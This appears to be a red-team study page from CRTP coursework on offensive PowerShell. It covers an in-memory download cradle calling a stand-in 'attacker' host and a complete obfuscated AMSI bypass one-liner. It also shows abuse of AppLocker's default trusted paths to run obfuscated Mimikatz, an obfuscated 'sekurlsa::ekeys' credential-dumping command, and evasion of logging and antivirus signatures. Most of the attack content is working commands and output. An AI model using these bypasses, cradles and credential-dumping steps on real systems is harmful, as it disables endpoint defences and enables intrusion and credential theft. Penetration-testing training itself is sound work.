PowerShell
PowerShell
PowerShell (PS) is not just powershell.exe
—it’s an automation framework built on the .NET assembly System.Management.Automation.dll
. This DLL is the core engine that drives all PS functionality, and can be hosted by any .NET application, not just the shell itself. Think of .NET as the toolbox, the DLL as a power tool, and PS as the app that puts it to work.
PS provides a CLI interface, a scripting language, and a configuration and automation framework. It is cross-platform, scriptable, and integrates deeply with Windows internals, making it ideal for red team operations and post-exploitation tooling.
PS supports flexible script execution, including in-memory loading:
# Dot-source a script into the current session
. c:\ad\tools\PowerView.ps1
# Import a module (manifest or binary)
Import-Module c:\ad\tools\ActiveDirectory.psd1
# List commands from a loaded module
Get-Command -Module <ModuleName>
Cradles
A cradle is a technique to download and execute PS code directly in memory to avoid writing to disk—commonly used for payload delivery and evasion.
iex (iwr 'http://attacker/payload.ps1')
Security Controls
PS includes several built-in security features:
Script Block Logging records parsed PS code, including decoded/expanded commands. Enabled by default on modern systems.
System-Wide Transcription logs all input/output regardless of host but is rarely deployed. Its logs are stored unprotected in plaintext.
AMSI (Anti-Malware Scan Interface) scans scripts before execution and sends them to the installed AV; bypassable with obfuscation or memory injection.
Constrained Language Mode (CLM) restricts .NET usage and native API access; enforced via AppLocker/WDAC.
Execution Policy (EP) IS NOT a security feature; it governs script execution behavior to prevent accidental script execution.
Check AMSI.fail.
From CRTP:
S`eT-It`em ( 'V'+'aR' + 'IA' + (("{1}{0}"-f'1','blE:')+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),(("{0}{1}" -f '.M','an')+'age'+'men'+'t.'),('u'+'to'+("{0}{2}{1}" -f 'ma','.','tion')),'s',(("{1}{0}"-f 't','Sys')+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+("{0}{1}" -f 'ni','tF')+("{1}{0}"-f 'ile','a')) ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+("{1}{0}" -f'ubl','P')+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
Language Modes
PowerShell enforces four distinct language modes that define the scripting capabilities available within a given session. These modes are primarily used to limit script execution and reduce attack surface in hardened or constrained environments.
FullLanguage is the default and most permissive mode, offering unrestricted access to all PowerShell features, including script blocks, functions, advanced logic, and full .NET interoperability.
RestrictedLanguage allows only basic expressions and core syntax, blocking constructs like functions and script blocks—ideal for tightly controlled endpoints.
ConstrainedLanguage is commonly enforced through Device Guard or AppLocker and permits standard cmdlets and basic scripting, but blocks external .NET types, reflection, COM, and custom objects to mitigate abuse of unmanaged code.
NoLanguage disables all scripting constructs entirely; only pre-defined cmdlets and functions may run, with no support for variables, loops, or conditionals.
This is often the cause of AMSI-related errors:
# Connect to the target host
> Enter-PSSession dcorp-adminsrv
[dcorp-adminsrv]: PS C:\Users\student337\Documents>
# Bypass AMSI
> S`eT-It`em ( 'V'+'aR' + 'IA' + (("{1}{0}"-f'1','blE:')+'q2') + ('uZ'+'x') )...
Cannot invoke method. Method invocation is supported only on core types in this language mode.
> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
AppLocker
When application allowlisting solutions like AppLocker or Windows Defender Application Control (WDAC) are in place, PowerShell typically runs in ConstrainedLanguage
mode, limiting its capabilities to reduce attack surface. This restricts access to external .NET types, custom classes, and unsafe operations like COM or reflection—common techniques in many fileless attacks.
AppLocker is easier to deploy and configure, making it common in enterprise environments; it uses Group Policy to define rules governing which executables, scripts, DLLs, and installers can run. However, it offers limited enforcement—local Administrators can trivially bypass it by stopping the
AppIDSvc
service.WDAC (formerly Device Guard), on the other hand, offers stronger protection with kernel-mode enforcement and policy enforcement at boot. It’s designed for high-security use cases and enforces code integrity via cryptographically signed policies, making it significantly harder to bypass without privileged code execution.
The default rules typically allow all users (S-1-1-0
) to execute from certain paths, such as %ProgramFiles%\*
. These are trusted paths, but if an attacker places malicious scripts in these directories, they bypass AppLocker enforcement.
> Get-AppLockerPolicy -Effective
Version RuleCollections RuleCollectionTypes
------- --------------- -------------------
1 {0, 0, 0, 0...} {Appx, Dll, Exe, Msi...}
> Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
PathConditions : {%PROGRAMFILES%\*}
PathExceptions : {}
PublisherExceptions : {}
HashExceptions : {}
Id : 06dce67b-934c-454f-a263-2515c8796a5d
Name : (Default Rule) All scripts located in the Program Files folder
Description : Allows members of the Everyone group to run scripts that are located in the Program Files folder.
UserOrGroupSid : S-1-1-0 # This translates to EVERYONE
Action : Allow
However, scripts cannot be dot-sourced:
# Copy the obfuscated mimikatz to the allowed directory of adminsrv
> Copy-Item .\Invoke-Mimi.ps1 \\dcorp-adminsrv.dollarcorp.moneycorp.local\c$\'Program Files'
# Connect to the target host
> Enter-PSSession dcorp-adminsrv
[dcorp-adminsrv]: PS C:\Users\student337\Documents> cd 'c:\program files'
[dcorp-adminsrv]: PS C:\program files> . .\Invoke-Mimi.ps1
C:\program files\Invoke-Mimi.ps1 : Cannot dot-source this command because it was defined in a different language mode. To invoke this command without importing its contents, omit the '.' operator.
Instead of dot-sourcing, append (and optionally encode) the needed command directly at the end of the script:
$8 = "s";
$c = "e";
$g = "k";
$t = "u";
$p = "r";
$n = "l";
$7 = "s";
$6 = "a";
$1 = ":";
$2 = ":";
$z = "e";
$e = "k";
$0 = "e";
$s = "y";
$l = "s";
$Pwn = $8 + $c + $g + $t + $p + $n + $7 + $6 + $1 + $2 + $z + $e + $0 + $s + $l;
Invoke-Mimi -Command $Pwn
Now the script can be run directly:
[dcorp-adminsrv]: PS C:\Users\student337\Documents> .\Invoke-Mimiv2.ps1
Obfuscation & Evasion
Invisi-Shell
Invisi-Shell bypasses logging and AMSI by injecting directly into memory using .NET hosting APIs:
Type exit
to clean up the session!
RunWithPathAsAdmin.bat
Static Signatures
AmsiTrigger and DefenderCheck help identify and iteratively sanitize code segments that trigger AV/EDR detections.
Scan → Manually modify → Rescan → Repeat until success
AmsiTrigger_x64.exe -i PowerUp.ps1
Invoke-Obfuscation
Use Invoke-Obfuscation for on-the-fly full PS script obfuscation.
Last updated
Was this helpful?